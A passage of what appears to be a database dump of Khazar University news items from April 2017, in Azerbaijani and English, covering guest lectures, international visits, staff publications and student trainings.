Agnieszka\r\nSiedlecka öz fəaliyyətlərindən və vasitəçilərin vəzifələri və öhdəliklərindən\r\ndanışdı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüş\r\nzamanı iki vorkşop təşkil olundu: Łukasz Modzelewski Ombudsman ofisinə\r\naid olan vorkşopu, Katarzyna Drzazgowska isə Münaqişə və\r\nMübahisələrin Həlli Mərkəzinə aid olan vorkşopu\r\nidarə etdi.Xəzər Universitetinin nümayəndələri hər iki vorkşopda iştirak etdilər və onların fəaliyyətləri\r\nilə yerindəcə tanış oldular.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Rima\r\nMəmmədova, həmçinin Varşava\r\nUniversitetinin Beynəlxalq Əlaqələr Ofisinin rəhbri və Erasmus layihələr\r\nkoordinatoru Sylwia Salamon və Azərbaycan\r\nilə əməkdaşlığa məsul olan Katarzyna Kozdra ilə görüşdü. O, Xəzər\r\nUniversitetinin beynəlxalq layihələrdə iştirakından, Erasmus+ proqramı\r\nçərçivəsində layihələrdə Xəzər Universiteti ilə gələcək əməkdaşlıqlarının mümkünlüyündən\r\ndanışdı və onlara Xəzər Universitetinin təqdimat\r\nmateriallarını təqdim etdi.</p>'),(3495,2063,'az','Avrasiya Araşdırmalar Mərkəzi Xəzər Universiteti ilə Abdullah Gül Universitetinin əlaqələrindən yazdı','2017-ci il aprelin 12-də Avrasiya Araşdırmalar Mərkəzinin rəsmi internet səhifəsində Abdullah Gül Universitetinin rektoru Pr.Dr. Sabuncuoğlunun Xəzər Universitetinə səfəri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 12-də Avrasiya\r\nAraşdırmalar Mərkəzinin rəsmi internet səhifəsində Abdullah Gül Universitetinin rektoru Pr.Dr. Sabuncuoğlunun Xəzər\r\nUniversitetinə səfəri və universitetin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı ilə görüşü haqqında xəbər\r\nyayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Xəbəri tam şəkildə bu link vasitəsilə oxumaq olar:</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://avim.org.tr/tr/Bulten/AGU-DEN-AZERBAYCAN-DA-ANLASMA?slid=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_campaign=Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142&amp;utm_content=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_medium=email&amp;utm_source=sendloop.com&amp;utm_term=Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142\" style=\"text-indent:0.25in\">http://avim.org.tr/tr/Bulten/AGU-DEN-AZERBAYCAN-DA-ANLASMA?slid=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_campaign=Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142&amp;utm_content=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_medium=email&amp;utm_source=sendloop.com&amp;utm_term=</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://avim.org.tr/tr/Bulten/AGU-DEN-AZERBAYCAN-DA-ANLASMA?slid=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_campaign=Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142&amp;utm_content=SlE0EPG0thKQGsWqnuy1U5xJreY&amp;utm_medium=email&amp;utm_source=sendloop.com&amp;utm_term=Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142\" style=\"text-indent:0.25in\">Avim+G%C3%83%C2%BCnl%C3%83%C2%BCk+B%C3%83%C2%BClten+-+Daily+Bulletin+-+2142</a></p>'),(3496,2064,'az','HSE fakültəsi əməkdaşının məqaləsi Amerikada nəşr edildi','2017-ci ilin martında Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “Dil etikası: Linqvo psixologiya və psixolinqvistika...','<p style=\"\" margin-left:0in;text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">2017-ci ilin martında Xəzər Universiteti\r\nHumanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın\r\n(doktorant) “Dil etikası: Linqvo psixologiya və psixolinqvistika. Dilin\r\npsixoloji problemlərlə təhlili” (ingiliscə) (<strong><em>“</em></strong><em>Language\r\nEthıcs: Linguo Psychology And Psycholınguıstics; Analysis of The Language With\r\nPsychological Problems</em>”)<em> </em>adlı məqaləsi Amerikanın “Science Publishing Group” nəşriyyat\r\nevinin “Psychology and Behavioral Sciences” adlı elmi jurnalında çap\r\nedilmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:115%;background:white\"\"=\"\">Çap edilmiş elmi tədqiqat\r\nişinin əsas məqsədi\r\npsixolinqvistika məktəb və istiqamətləri haqqında qısa məlumat vermək, dilin\r\nyaranma mahiyyətini, fəaliyyət qanunauyğunluqlarını, prinsip və üsullarını üzə\r\nçıxarmaq, həmçinin insanların dili necə dərk etmələri və qavramaları və dili\r\nnecə istehsal etmələri haqqında qısa və vacib məlumatları verməkdir. Məqalə\r\npsixologiya və linqvistika sahələrini əhatə edən əsas anlayışları təhlil\r\nedərək, birbaşa olaraq dil və nitq patalogiyasını, dil psixologiyasını, dilin\r\nöyrənilmə və davranışını və ya idrak elmini əhatə edir.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:115%;background:white\"\"=\"\"><a href=\"/files/pdf/events/meqale_valide.pdf\">Language Ethics: Linguo Psychology and&nbsp;Psycholinguistics (Analysis of the Language with&nbsp;Psychological Problems)</a></p>'),(3497,2065,'az','“Springer” nəşriyyatı “Xəzər”in əməkdaşının daha bir kitabını çap üçün qəbul etdi','2017-ci il aprelin 12-də Məşhur “Springer” nəşriyyatı Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasovun daha bir kitabını çap üçün qəbul etmişdir....','<p>2017-ci il aprelin 12-də Məşhur\r\n“Springer” nəşriyyatı Xəzər Universiteti Coğrafiya və ətraf mühit\r\ndepartamentinin müdiri Rövşən Abbasovun daha bir kitabını çap üçün qəbul\r\netmişdir. </p>\r\n<p>Kitabı ”Uşaqlar və&nbsp; fəlakət riski menecmenti: Azərbaycanın Qəbələ\r\nrayonu nümunəsində” (ingilis dilində) (\"Children and disaster risk\r\nmanagement: a case study of Gabala District, Azerbaijan\") adlanır.</p>\r\n<p>Qeyd edək ki, kitab 2016-cı\r\nilin yanvarında təqdim olunmuş və 3 müstəqil yoxlamadan (<a href=\"/files/pdf/events/Letter%20of%20Acceptance%20Springer.pdf\">review</a>) keçmişdir.</p>'),(3599,2111,'az','eGlobe layihəsinin BETA versiyasının təqdimatı keçiriləcək','2017-ci il mayın 3-ü saat 16:00-dan 17:00-a qədər Xəzər Universitetinin “Neftçilər” kampusunda...','<p>2017-ci il mayın 3-ü saat\r\n16:00-dan 17:00-a qədər Xəzər Universitetinin “Neftçilər” kampusunda (otaq\r\n№206) Karyera və İnkişaf mərkəzlərinin təşkilatçılığı ilə <em>eGlobe</em> layihəsinin BETA versiyasının təqdimatı keçiriləcək.&nbsp; </p>\r\n<p>Şirkət nümayəndələri\r\niştirakçılara <em>eGlobe</em> layihəsinin BETA\r\nversiyası, layihədən istifadə qaydaları,&nbsp; layihənin ümumi və texniki\r\nfunksionallığı, <em>Aİ, Big data, Deep\r\nlearning</em> sistemləri, onların ümumi və iqtisadiyyat sahəsində istifadəsi haqqında\r\nməlumat verəcəklər. </p>\r\n<p>Qeyd edək ki, <em>eGlobe</em> Azərbaycan proqramçıları tərəfindən\r\niqtisadçı analitiklər üçün yaradılmış süni intellekt funksionallı sosial şəbəkə\r\nplatformasıdır. Platforma universitetlər və maliyyə qurumları üçün nəzərdə\r\ntutulub.</p>\r\n<p>Təqdimata bütün tələbələr və müəllimlər\r\ndəvətlidir.</p>'),(3498,2066,'az','Elmi Şuranın iclası','2017-ci il aprelin 14-də Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə universitet Elmi şurasının növbəti iclası keçirildi. İclasın gündəliyinə əsasən ümumi məsələlər...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:10.0pt;margin-left:0in\"=\"\">2017-ci il aprelin 14-də Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə\r\nuniversitet Elmi şurasının növbəti iclası keçirildi. İclasın gündəliyinə əsasən ümumi məsələlər haqqında\r\nrektor Hassan Niknafsın, məzunluq haqqında fakültə\r\ndekanları Hassan Niknafs, Cabir Xəlilov,Elza Səmədova, departament müdiri&nbsp;Ceyhun Məmmədovun, doktorant və dissertantların elmi tədqiqat məsələləri\r\nvə elmi rəhbərləri, Tarix və arxeologiya departamentinin müəllimi Nuridə Qədirovanın\r\ndosent vəzifəsinə seçilməsi haqqında universitetin Magistratura, doktorantura və\r\nelmi işlər bölməsinin müdiri Eldar Şahgəldiyevin məlumatları dinlənildi və\r\nmüvafiq qərarlar qəbul edildi.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:10.0pt;margin-left:0in\"=\"\">Elmi şuranın iclasında cari məsələlər də\r\nmüzakirə olundu.</p>'),(3499,2037,'en','The Students in Jewish and Christian Confession Temples','On April 1-2 Khazar students visited Christian and Jewish confession temples within the project “Knowing World Religions Closer” under Elnura Azizova’s guidance, the assistant...','<p>On April 1-2 Khazar students visited Christian and Jewish confession temples\r\nwithin the project “Knowing World Religions Closer” under Elnura Azizova’s\r\nguidance, the assistant professor, teacher, at The Department of Cultures and\r\nLanguages.</p>\r\n<p>&nbsp;On April 1, students too part in\r\nShabat ceremony in the synagogue of European and Georgian jews. After the\r\nceremony priest Rabai Shneor answered students’ questions. On April 2, the\r\nstudents participated in Eucharist ritual in Virgin Mary Church. </p>\r\n<p>At the end of the ceremony priest Vladimir shade light upon the issues our\r\nstudents were interested in. In both of the temples the students discussed\r\nreligious tolerance and the attitude of religious communities towards coexistence\r\nof diversities in Azerbaijan.<strong></strong></p>'),(3500,2018,'en','Prof. Hamlet Isakhanli in the “Seminars of Guest Lecturers”','On April 3, the founder of Khazar University and the chair of the Board of Directors and Trustees, Prof. Hamlet Isakhanli visited the “Seminars of Guest Lecturers” within...','<p>On\r\nApril 3, the founder of Khazar University and the chair of the Board of\r\nDirectors and Trustees, Prof. Hamlet Isakhanli visited the “Seminars of Guest\r\nLecturers” within the project of “Training for potential school directors on\r\nschool’s management”. Prof. H.Isakhanli delivered a seminar on the topic\r\n“Management at School: theory and practice”.</p>\r\n<p>The\r\nseminar starting with Khazar University’s structure and management reflected\r\nsuccessful management and leadership experience for both potential and existing\r\nschool directors. The importance of “There is no age limit for learning and\r\nteaching”, “Always being ready and open for changes” was emphasized and\r\ndiscussions were held on the concept of “acquired knowledge” through\r\nexperience.</p>\r\n<p>At\r\nthe end of the session Prof. H. Isakhanli answered the participants’ questions.\r\n</p>\r\n<p>We\r\nalso notice that “The Training Course of Managing the School for Potential\r\nSchool Directors” is continuously held by Khazar University for three years.&nbsp;</p>'),(3501,2041,'en','“Fireworks” Company Held Training at Khazar University','On April 3, “Fireworks” Human Resource Company held the training for the students of the Department of Political Science and International Relations on writing a professional...','<p>On\r\nApril 3, “Fireworks” Human Resource Company held the training for the students\r\nof the Department of Political Science and International Relations on writing a\r\nprofessional resume and how to pass a job interview successfully. In the\r\ntraining, the employees of “Fireworks” company commented on the students’ CVs\r\nindividually and informed them about the code of behavior in job interviews. </p>\r\n<p>The\r\nevent was held within the framework of the ongoing Training Program of\r\nDeveloping Professional and Business Skills in the department beginning from\r\nFebruary 27, 2017.&nbsp;</p>'),(3502,2045,'en','Professor of Islamabad Technology University Delivers a Lecture at Khazar','On April 3, with the initiative of the Department of Geography and Environment, Khazar University Shanza Ejaz, a professor from Islamabad Technology University delivered...','<p>On April 3, with the initiative of the Department of\r\nGeography and Environment, Khazar University Shanza Ejaz, a professor from\r\nIslamabad Technology University delivered a Webinar on the topic “The Aims of\r\nSustainable Development and Computer Technologies”. The students of the faculty\r\nof Education majoring in Geography took part in the lecture. </p>\r\n<p>At the end of the session, Prof. Shanza Ejaz answered the\r\nstudents’ questions.&nbsp;</p>'),(3503,2050,'en','Khazar University Representative in XX Eurasia Summit','From April 4 to 6, in Istanbul XX Eurasia Economy Summit was held with the participation of nearly 600 representatives from 44 countries, international organization members...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">From April 4 to 6, in Istanbul XX Eurasia Economy\r\nSummit was held with the participation of nearly 600 representatives from 44\r\ncountries, international organization members, presidents and ex-presidents of\r\nsome countries. In the summit Khazar University Public Relation and Media\r\ndirector Alovsat Amirbeyli represented our university and was chosen the\r\nsecretary of the summit.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Opening speech was delivered by the president of\r\nMarmara Group Strategic and Social Research Center (Turkey), Dr. Akkan Suyer.\r\nGeneral Secretary of Interparliamentary Assembly Black Sea Economic Relations,\r\nAsef Hajiyev, Mayor of Istanbul, Vasip Shahin represented their opening speech\r\nfollowingly. Honored guests; UN representative, Naser Abdulaziz Al-Nasser, the\r\npresident of Albania, Bujar Nishani, the president of Bosnia and Hersogovinia,\r\nMladen Iyanich, the president ofTRNC\r\n(&nbsp;Turkish Republic of Northern Cyprus), Mustafa Akinci, the president of\r\nMacedonia, Gjorge Ivanov, Turkish Republic Deputy Prime Minister, Mehmet\r\nShimshek greeted the participants and wished success for XX Eurasia Economy\r\nSummit. The chair of the Committee of Work with Diaspora, Nazim Ibrahimov read\r\nAzerbaijani President Ilham Aliyev’s letter of congratulation. </p>\r\n<p>After\r\nthe official opening ceremony sessions started and discussions were held.\r\nDeputy Chairman of Milli Majlis of Azerbaijan Republic, Valeh Alasgarov, Energy\r\nMinister, Natiq Aliyev, Chairman of the State Committee for Work with Religious\r\nOrganizations, Mubariz Gurbanli, Deputy head of the Caucasus Clerical Office,\r\nSalman Nuriyev delivered their speeches. In the summit, concerns were expressed\r\nrelated to world’s economic problems, war and refugees, and also appeals were\r\nmade to UN and international organizations. </p>\r\n<p>Samir\r\nJafarov,people\'s artistperformed in the concert within the banquet organized for participants&nbsp;</p>'),(3504,2033,'en','The Training on “Career in Accountancy and Finance”','On April 5, the training was held on the topic “The Career in Accountancy and Finance” at Khazar Universiy Career Development Center. The trainer, the PCOB Group company...','<p>On\r\nApril 5, the training was held on the topic “The Career in Accountancy and\r\nFinance” at Khazar Universiy Career Development Center. The trainer, the PCOB\r\nGroup company founder and director Orkhan Yusifov gave the students information\r\nabout making resumes, the secret of strong motivation letters, preparation for\r\na professional job interview, where and how to find a job and ACCA lessons. </p>\r\n<p>The\r\nstudents and graduates of the faculty of Economy and Management participated in\r\nthe training. A number of students’ questions were answered during the\r\ninteractive tarining session.</p><p>At the end of the training, 6 students who applied\r\nfirst, participated in trial job interview. &nbsp;</p>'),(3505,2031,'en','German Company Representatives at Khazar University','On April 5, plenipotentiary representatives of the “Rohde&Schwarz” German company visited Khazar University Electronics and Telecommunication Department. After giving...','<p>On April 5, plenipotentiary representatives of the “Rohde&amp;Schwarz”\r\nGerman company visited Khazar University Electronics and Telecommunication\r\nDepartment. After giving thorough information about their company\r\nrepresentatives delivered a lecture on the topic “ &nbsp;Equipment for Optimization and Testing of Mobile\r\nNetworks” with participation of a group of Electronics students. The lecture\r\nwas introduced practically on the equipment produced by the company being adjusted\r\nto real situation. </p>\r\n<p>In was decided to continue to organize such\r\npractical lectures in the Department of Electronics and Telecommunication by\r\nthis company.&nbsp;<strong></strong></p>'),(3506,2055,'en','Abdullah Gul University Rector at Khazar University','On April 11, 2017 Prof. Dr. Ihsan Sabuncuoghlu, the rector of Abdullah Gul University, Turkey met Khazar University’s founder and the Chair of the Board of Directors...','<p>On April\r\n11, 2017 Prof. Dr. Ihsan Sabuncuoghlu, the rector of Abdullah Gul University,\r\nTurkey met Khazar University’s founder and the Chair of the Board of Directors\r\nand Trustees, Prof. Hamlet Isakhanli. The decision was made on establishing\r\nfuture cooperation between these two universities. Khazar University’s rector\r\nDr. Hassan Niknafs and the director of Public Relations and Media, Alovsat\r\nAmirbeyli also took part in the meeting.&nbsp;</p>'),(3507,2067,'az','“Xarici dil dərslərində interaktiv təlim metodları” seminarı ','2017-ci il aprelin 14-də Xəzər Universiteti İnkişaf Mərkəsinin və Estoniyanın OÜ Lingatore təşkilatının birgə əməkdaşlığı ilə məşhur “English Language Portfolio” proqramı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 14-də Xəzər\r\nUniversiteti İnkişaf Mərkəsinin və Estoniyanın&nbsp;<em><strong>OÜ Lingatore</strong></em>&nbsp;təşkilatının birgə əməkdaşlığı ilə məşhur\r\n“<em>English Language Portfolio</em>” proqramı əsasında “Xarici dil dərslərində\r\ninteraktiv təlim metodları” adlı iki günlük seminarı başladı. Seminarı giriş\r\nsözü ilə universitetin rektoru Dr.Hassan Niknafs açdı, seminar iştirakçılarına\r\nuğurlar arzuladı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Seminar ali və orta məktəblərdə dərs\r\ndeyən ingilis dili müəllimləri və xarici dil dərslərinin tədrisi ilə maraqlanan\r\ndigər şəxslər üçün təşkil olunmuşdu. Seminarda praktik nümunələr və rollu\r\noyunlar əsasında müəllimlərə konkret, praktik fəal tədris metodlarının tətbiqi\r\nyolları, müxtəlif mövzulara və həmçinin, yaş həddinə uyğunlaşdırılmış fəal tədris\r\nmetodları və digər metodlar öyrədiləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Seminarda Xəzər Universitetinin,\r\ndigər universitetlərin və liseylərin ingilis dili müəllimləri iştirak edirlər.</p>'),(3520,2075,'az','“Elektron kataloq – yüksək informasiya texnologiyalarının nəticəsi kimi” tələbələrin elmi-praktik konfransı','2017-ci il aprelin 14-də Azərbaycanda Kitabxana İşinin İnkişafı Assosasiyasının təşkilatçılığı və BDU-nin Kitabxanaçılıq-İnformasiya fakültəsinin dəstəyi ilə “Elekltron...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2017-ci il aprelin 14-də Azərbaycanda Kitabxana İşinin İnkişafı\r\nAssosasiyasının təşkilatçılığı və BDU-nin Kitabxanaçılıq-İnformasiya fakültəsinin\r\ndəstəyi ilə “Elekltron kataloq-yüksək informasiya texnologiyalarının nəticəsi\r\nkimi” mövzusun da elmi-praktik konfrans keçirildi. Konfransın məqsədi\r\nRespublika kitabxanalarının məlumat axtarış sistemlərində elektron kataloqun\r\nrolu və avtomatlaşdırma proseslərinin tətbiqi idi. Tədbirdə tələbələr və\r\nkitabxana rəhbərlərinin dəstəyi ilə təqdimatlat və çıxışlar göstərildi və Xəzər\r\nUniversitetin Kitabxana-İnformasiya Mərkəzinin avtomatlaşdırma proseslərinin\r\ntətbiqi, müasir vəziyəti və əhəmiyyəti mövzusunda təqdimatlar keçirildi. Xəzər\r\nUniversitetinin KİM-in Kataloqlaşdırma şöbəsinin müdiri\r\nSamirə Orucova, BDU-nin tələbələri Teymur Eyvazov, Lalə Salahova,Əzizə Ataşova tərəfindən təqdimat\r\netdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Sonda təqdimat iştirakçıları mükafatlandırıldı.</p>'),(3508,2068,'az','Sumqayıt Məktəblilərinin Mədəniyyət Festivalının Qala konserti keçirildi','2017-ci il aprelin 11-də Sumqayıt Dövlət Dram teatrında Sumqayıt Şəhər İcra Hakimiyyətinin, Sumqayıt Regional Mədəniyyət İdarəsinin, Sumqayıt Şəhər Təhsil İdarəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil aprelin 11-də Sumqayıt Dövlət Dram teatrında Sumqayıt Şəhər İcra Hakimiyyətinin,\r\nSumqayıt Regional Mədəniyyət İdarəsinin, Sumqayıt Şəhər Təhsil İdarəsinin və Xəzər\r\nUniversiəsi Sumqayıt “Dünya” məktəbinin təşkilatçılığı ilə Sumqayıt Məktəblilərinin\r\nMədəniyyət Festivalının Qala konserti keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Qala konsertində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı və Sumqayıt İcra Hakimiyyəti başçısının\r\nmüavini Teymur Səmədov salona toplaşanları salamlayaraq bildirdilər ki,\r\nSumqayıt Məktəblilərinin Mədəniyyət Festivalı sumqayıtlıların həyatında mühüm\r\nhadisədir. Sonra isə onlar &nbsp;festivalın I yer\r\nqaliblərini təbrik etdilər və qaliblərə qiymətli hədiyyələr təqdim etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">“Dünya” məktəbinin təsisçisi Nailəxanım İsayeva, Xəzər\r\nUniversitetinin İctimai Əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli,\r\nSumqayıt Regional Mədəniyyət İdarəsinin rəisi Mehman Şükürov, Sumqayıt Təhsil\r\nŞöbəsinin müdiri Nizami Namazov, “Dünya” məktəbinin müdiri Mərufə Mədətli və\r\nSumqayıt “Dünya” məktəbinin müdiri Münəvvər Bayramova II və III yer tutan\r\nqaliblərə sertifikatlarını və hədiyyələrini təqdim etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Gecənin bədii hissəsində qaliblər maraqlı proqramla çıxış etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Şəhər Rəhbərliyi tərəfindən Məktəblilərin Festivalını hər il keçirtmək\r\nqərara alındı.</p>'),(3509,2069,'az','Amerikalı alim Xəzər Universitetində seminar keçirəcək','2017-ci il aprelin 17-si saat 12:00-da (“Neftçilər” korpusu, otaq 503, köhnə bina) keçiriləcək...','<p>2017-ci il aprelin 17-si saat 12:00-da (“Neftçilər”\r\nkorpusu, otaq 503, köhnə bina) keçiriləcək seminarın əsas məruzəçisi Dr. Sam\r\nPotolicchio olacaq. ABŞ səfirliyinin Alumni Speaker Grant proqramı çərçivəsində\r\nBakıya gələn Dr. Potolicchio Amerikanın tanınmış Georgetown\r\nUniversitetinin&nbsp;professorudur. İdarəçilik, liderlik məsələləri və siyasi\r\nkommunikasiya üzrə ixtisaslaşmış Dr. Potolicchio Oxford, Yale, Cambridge, Sorbonne,\r\nLSE, Brown, Dartmouth, Bologna və Warwick kimi dünyanın 200-dən çox\r\nuniversitetində eyni mövzulu seminarlarla çıxış etmişdir.</p>\r\n<p>Əsas mövzusu “İctimai Danışıq” olacaq seminarda\r\niştirakçılara effektiv ünsiyyət qurma bacarıqlarından da bəhs olunacaq.</p>\r\n<p>Seminar ingilis dilində olacaq. Seminarda iştirak etmək istəyənlər\r\nPeşə İnkişaf Mərkəzinə yaxınlaşa və ya <a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a> ünvanına e-mail göndərməklə, iştiraklarını təsdiqləyə bilərlər.</p>'),(3510,2070,'az','Xəzər Universitetinin müəllimi Ekspert Şurasının elmi katibi təyin olundu','2017-ci il aprelin 3-də Xəzər Universiteti Azərbaycan dili və ədəbiyyat departametinin müəllimi fil.ü.f.d., dosent Sevinc Orucəli qızı Ağayeva Azərbaycan Respublikasının Prezidenti...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin\r\n3-də Xəzər Universiteti Azərbaycan dili və ədəbiyyat departametinin müəllimi fil.ü.f.d.,\r\ndosent Sevinc Orucəli qızı Ağayeva Azərbaycan Respublikasının Prezidenti\r\nyanında Ali Attestasiya Kommisiyasının Filologiya elmləri üzrə Ekspert\r\nŞurasının elmi katibi təyin olunmuşdur.</p>'),(3511,2071,'az','HSE fakültəsi əməkdaşının məqaləsi Rusiyada nəşr edildi','Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “Развитие иностранных языков как способ общественной дипломатии” adlı elmi məqaləsi...','<p style=\"\" margin-left:0in;text-align:justify;text-indent:.25in\"\"=\"\">Humanitar\r\nvə sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) <em>“</em><em>Развитие\r\nиностранных языков как способ общественной дипломатии</em><em>”</em> adlı elmi məqaləsi Rusiyanın Tatarıstan\r\nvilayətinin Kazan şəhərində “<em>Общество с ограниченной ответственностью Издательство</em>”nəşriyyat evinin “<em>Молодой\r\nученый</em>” adlı elmi jurnalın 14-cü\r\nsayında çap edilmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Çap edilmiş elmi tədqiqat işində\r\nmüasir dövrdə xarici dillərin ünsiyyəti vasitəsi olmasından, dil və ünsiyyətdən,\r\nhəmçinin dilin ünsiyyət vasitəsi olmasına aid sullara verilmiş geniş\r\ncavablardan və müasir dövrdə xarici dillərin hansı məqsədlə istifadə edilməsindən\r\nəhatəli bəhs edilmişdir.</p>\r\n<p style=\"\" margin-left:0in;text-align:justify;text-indent:.25in\"\"=\"\">Məqalə ilə bu link vasitəsilə tanış olmaq olar: <a href=\"https://moluch.ru/archive/148/41511/\">https://moluch.ru/archive/148/41511/</a>.</p>'),(3548,2049,'en','Nakhchivan University Staff Members at Khazar University','On April 8, 2017, an article was published on the official website of the newspaper “Azerbaijan Teacher”, the body of the Ministry of Education of Azerbaijan...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On April 8, 2017, an article was published on the\r\nofficial website of the newspaper “Azerbaijan Teacher”, the&nbsp;body&nbsp;of\r\nthe&nbsp;Ministry&nbsp;of&nbsp;Education&nbsp;of&nbsp;Azerbaijan,&nbsp;about\r\nthe visit of a group of Nakhchivan University Staff Members to Khazar\r\nUniversity within the project AESOP.</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">It should be noted that Nakhchivan University is one\r\nof the partners of the project which is coordinated by Khazar University.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">For the full version of the news visit the following\r\nlink:</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=12-2017&amp;content_id=38#Kalibri\">http://muallim.edu.az/content/?category=arxiv&amp;issue=12-2017&amp;content_id=38#Kalibri</a></strong></p>'),(3512,2072,'az','“Thomson Reuters” in “Web of Science” platformasının növbəti tədbiri keçirildi','2017-ci il aprelin 14-də dünyanın aparıcı informasiya agentliyi “Thomson Reuters”-in “Web of Science” platformasının Azərbaycanda ali təhsil müəssisələri üçün hazırlanan  layihənin...','<p>2017-ci il aprelin 14-də\r\ndünyanın aparıcı informasiya agentliyi “Thomson Reuters”-in “Web of Science”\r\nplatformasının Azərbaycanda ali təhsil müəssisələri üçün hazırlanan&nbsp; layihənin növbəti tədbiri <em>Azərbaycan</em>Dövlət <em>Neft </em>və Sənaye Universitetində baş tutdu.</p>\r\n<p>İki hissədən ibarət olan tədbirdə əvvəlcə\r\n“Thomson Reuters” Agentliyi Elm və təhsil departamentinin əməkdaşı Aygün\r\nBabazadə təmsil etdiyi agentlik və həmin qurumda yer alan elmi jurnallar\r\nhaqqında ətraflı məlumat verdi. Tədbirin ikinci hissəsində Xəzər\r\nUniversitetinin “Xəzər Humanitar və Sosial Elmlər” beynəlxalq elmi jurnalının\r\nredaktor müavini Xəyalə Məmmədova elmi jurnalın idarə edilməsi prinsipləri, “Web\r\nof Science” platformasına daxil olmaq üçün jurnallar, orada çap olunacaq\r\nməqalələr qarşısında qoyulmuş tələblər, elmi məqalələrin təqdimetmə qaydaları,\r\nseçim meyarları və digər praktiki məsələlərlə bağlı tədbir iştirakçılarını\r\nməlumatlandırdı. X.Məmmədova tədbirin sonunda\r\niştirakçıların sualları cavablandırıldı. </p>\r\n<p>Layihəyə daxil olan bu cür\r\nsilsilə tədbirlər Azərbaycanın digər ali təhsil müəssisələrində də davam\r\nedəcəkdir.</p>\r\n<p>Qeyd edək ki, layihənin\r\nməqsədi “Thomson Reuters”-ə geniş çıxışı əldə etməklə, Azərbaycanda elmin inkişafını dünya səviyyəsində aparmaq, beynəlxalq əməkdaşlığı daha da inkişaf etdirərək, azərbaycanlı\r\nalimlərin elmi əsərlərinin istinad indeksli 